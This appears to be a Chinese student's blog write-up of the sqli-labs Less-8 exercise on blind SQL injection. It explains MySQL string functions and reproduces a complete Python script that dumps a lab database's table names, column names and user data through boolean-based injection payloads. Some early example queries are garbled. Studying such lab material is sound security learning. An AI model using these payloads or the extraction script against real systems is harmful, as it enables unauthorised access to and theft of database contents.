sqli(8)
第八关:单引号GET盲注
前言:感冒了很有以后摸到靶场,如若隔世....我的天,说不定又有同学要去实习了,再看看我。啧啧啧,神的飞起来。。
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
0x01 判断
加引号与否、加and或者or,都没有显示,判断这是盲注。
1.首先select查询:
ascii(substr(select(database(),,)))#substr是截断函数,选择数据库的第一位,截断一位;返回数据库名称的第一个字母,转化为ascii码
if(ascii(substr(select(databse(),1,1)>64,1,0))#判断第一个字母的ASCII是不是小于64(小于A)

https://www.cnblogs.com/dshore123/p/7805050.html
substr(string,int a,int b) 截取字符串string从第a个字符开始、截取b个字符,然后返回值输出。(这个返回的是那个呢?应该不是a或者b吧,返回给内存然后存起?)


然后我这里 ,刚开始的时侯,测试是否为盲注的时候,加引号或者不加引号得出的都是返回正确:you are in...
看一下源码:

显示:正确的话(1),则返回you are in... 如果返回错误(0)的话,如果是语法报错就会显示具体的语法错误,如果是数据错误那应该什么都不会显示。
0x02 爆数据库名字
1.源码告诉我们,对的会显示,错的如果是语法错误会提示、如果是数值错误则不会提示。所以接下来我们需要一步一步手工试,试出正确的截断ASCII码,这样能得出数据库的第一个字,然后的出
通过截断第二个字符,得出‘e’.

比如这个。。。第一个字符,他大于115以后就报错了,114就不报错,115=s(记住,从第一位加起的,就算最后结果+1,所以是115,去“s”)
substr从第0/1字符开始,都是代表第一位开始。

所以我数据库的名字的第二个字符就是“e”
然后这样推算下去。。。。
得出数据库:security
0x03 使用脚本暴表名、列名
当然,这个脚本也是copy组长的。。。我运行一下。。。。
import urllib2
import urllib success_str = "You are in"
getTable = "users" index = ""
url = "http://localhost/sql1/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1" asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #" selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #" # 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串 payload:使用的payload length:猜测的长度
def getLengthResult(payload, string, length):
finalUrl = url + urllib.quote(payload % (string, length))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False # 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload string:猜测的字符串 pos:猜测字符串的位置 ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
finalUrl = url + urllib.quote(payload % (string, pos, ascii))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False # 注入
def inject():
# 猜数据库长度
lengthOfDBName = getLengthOfString(lengthPayload, database)
print ("length of DBname: " + str(lengthOfDBName))
# 获取数据库名称
DBname = getName(asciiPayload, selectDB, lengthOfDBName) print ("current database:" + DBname) # 获取数据库中的表的个数
# print selectTableCountPayload
tableCount = getLengthOfString(selectTableCountPayload, DBname)
print ("count of talbe:" + str(tableCount)) # 获取数据库中的表
for i in xrange(0,tableCount):
# 第几个表
num = str(i)
# 获取当前这个表的长度
selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
print ("current table length:" + str(tableNameLength))
# 获取当前这个表的名字
selectTableName = selectTable%(DBname, i)
tableName = getName(asciiPayload, selectTableName ,tableNameLength)
print (tableName) selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
# print selectColumnCountPayload
# 获取指定表的列的数量
columnCount = getLengthOfString(selectColumnCountPayload, getTable)
print ("table:" + getTable + " --count of column:" + str(columnCount)) # 获取该表有多少行数据
dataCountPayload = "'and (select count(*) from %s)>=%d #"
dataCount = getLengthOfString(dataCountPayload, getTable)
print ("table:" + getTable + " --count of data: " + str(dataCount)) data = []
# 获取指定表中的列
for i in xrange(0,columnCount):
# 获取该列名字长度
selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
# print selectColumnNameLengthPayload
columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
print ("current column length:" + str(columnNameLength))
# 获取该列的名字
selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
selectColumnName = selectColumn%(getTable, i)
# print selectColumnName
columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
print (columnName) tmpData = []
tmpData.append(columnName)
# 获取该表的数据
for j in xrange(0,dataCount):
columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
# print columnDataLengthPayload
columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
# print columnDataLength
selectData = "select " + columnName + " from users limit " + str(j) + ",1"
columnData = getName(asciiPayload, selectData, columnDataLength)
# print columnData
tmpData.append(columnData) data.append(tmpData) # print data
# 格式化输出数据
# 输出列名
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][0] + " "
print (tmp)
# 输出具体数据
for j in xrange(1,dataCount+1):
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][j] + " "
print (tmp) # 获取字符串的长度
def getLengthOfString(payload, string):
# 猜长度
lengthLeft = 0
lengthRigth = 0
guess = 10
# 确定长度上限,每次增加5
while 1:
# 如果长度大于guess
if getLengthResult(payload, string, guess) == True:
# 猜测值增加5
guess = guess + 5
else:
lengthRigth = guess
break
# print "lengthRigth: " + str(lengthRigth)
# 二分法查长度
mid = (lengthLeft + lengthRigth) / 2
while lengthLeft < lengthRigth - 1:
# 如果长度大于等于mid
if getLengthResult(payload, string, mid) == True:
# 更新长度的左边界为mid
lengthLeft = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
lengthRigth = mid
# 更新中值
mid = (lengthLeft + lengthRigth) / 2
# print lengthLeft, lengthRigth
# 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
# 所以长度区间:大于等于 lengthLeft,小于lengthRigth
# 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
# 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return lengthLeft # 获取名称
def getName(payload, string, lengthOfString):
# 32是空格,是第一个可显示的字符,127是delete,最后一个字符
tmp = ''
for i in xrange(1,lengthOfString+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right - 1:
# 如果该字符串的第i个字符的ascii码大于等于mid
if getResult(payload, string, i, mid) == True:
# 则更新左边界
left = mid
mid = (left + right) / 2
else:
# 否则该字符串的第i个字符的ascii码小于mid
# 则更新右边界
right = mid
# 更新中值
mid = (left + right) / 2
tmp += chr(left)
# print tmp
return tmp def main():
inject()
main()
运行结果嘛。。明天继续改bug...我的urllib3啊啊啊
sqli(8)的更多相关文章
- sqli篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题
前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 和xss一样屡居OWASPtop10 前三名的漏洞,sqli(sql Injection)sql注入攻击也是web安全中影响较大和影响范围较 ...
- SQLi filter evasion cheat sheet (MySQL)
This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 y ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- 从零开始学安全(三十四)●百度杯 ctf比赛 九月场 sqli
先扫后台发现 两个可疑登录界面 l0gin.php login.php 猜测是第一个 用bp 抓包发现 index.php 中间有302 重定向 头文件 里面有一个 page=l0gin.php 应该 ...
- SQLi Lab的视频教程和文字教程
SQLi Lab 系列的文字和视频(需要FQ),讲解的很好 SQLi Lab Series - Introduction SQLi Lab Series - Error Based SQLi Lab ...
- ThinkPHP 3.1.3及之前的版本使用不当可造成SQLi
Lib/Core/Model.class.php中解析SQL语句的函数parseSql没有对SQL语句进行过滤,使用不当可导致SQL注入.(哈哈,其实用再安全的框架使用不当都可能造成SQLi) 函数: ...
- PHPTaint-检测xss/sqli/shell注入的php扩展模块[转]
web渗透者习惯采用黑盒或灰盒的方面来检测一款web应用是否存在漏洞,这种检测方法可以屏蔽不少漏洞,特别是程序逻辑中的漏洞.但如果能配合白盒的源码审计(也可以叫漏洞挖掘),效果将会更好,当然人力成本也 ...
- 春秋-SQLi题
这道题挺好的 学到的知识 sprintf()构成的sql注入漏洞 题目环境今天做的时候坏了 留下这几篇博客学习 https://blog.csdn.net/nzjdsds/article/detail ...
- 搭建sqli靶场
前言: sqli是一个印度程序员编写的,用来学习sql注入的一个游戏教程 sqli这个靶场对php7.0是不兼容的(因为一些函数在php7中被删除了),所以搭建的时候要下载php5,如果你的系统要下载 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
随机推荐
- HDU 6620 Just an Old Puzzle
Time limit 2000 ms Memory limit 262144 kB OS Windows 解题过程 感觉搜索不可行,状态太多了,120步,判断状态是否重复时,即使用std::map也太 ...
- 【CF1252F】Regular Forestation(重心,树同构)
题意:给定一棵n个点的树,问删去某个点之后所有的树同构,这样分割出来的树最多能有几棵 n<=4000 思路:分割成至少两个size相等的联通块之后size必定小于n/2,与树的重心的定义相同 预 ...
- 最简单的flask项目详解
# 第一部分,初始化:所有的Flask都必须创建程序实例, # web服务器使用wsgi协议,把客户端所有的请求都转发给这个程序实例 # 程序实例是Flask的对象,一般情况下用如下方法实例化 # F ...
- C++返回栈上的数组(局部变量)问题探索
char* teststr() { char s[] = "hello"; return s; } void main() { char* str = teststr(); ]; ...
- SDK使用NinePatch(.9)资源
.9资源是啥? .9图是一种可以拉伸的图片格式,当你把它用作背景图时,android系统会根据实际情况来拉伸图片资源.比如按钮的背景必须根据上面显示文字的长短作拉伸.NinePatch就是额外包含了一 ...
- P3373线段树2
#include<bits/stdc++.h> using namespace std; typedef long long ll; ; ll sum[N<<],lazy1[N ...
- (转)Intellij IDEA 自动生成 serialVersionUID
转自 : https://blog.csdn.net/tiantiandjava/article/details/8781776 Setting->Inspections->Seriali ...
- 解决Nginx反向代理不会自动对特殊字符进行编码的问题 如gitblit中的~波浪线
问题起因是利用Nginx做反向代理的时候,需要访问如下链接http://192.168.14.141/iserver/services/3D-0524hd/rest/realspace/datas/0 ...
- 测开之路一百零四:jquery操作样式
jquery操作样式 添加样式.删除样式 切换样式 css("属性","值") css("属性","值"), 修改多个 ...
- c# Thread5——线程同步之基本原子操作。Mutex互斥量的使用
之前的博文也说到了如果多线程对于访问的公共资源操作都是原子操作,那么可以避免竞争条件.关于多线程的竞争可以百度. 1.执行最基本的原子操作 c#提供了一系列供我们使用的原子操作的方法和类型,比如我们的 ...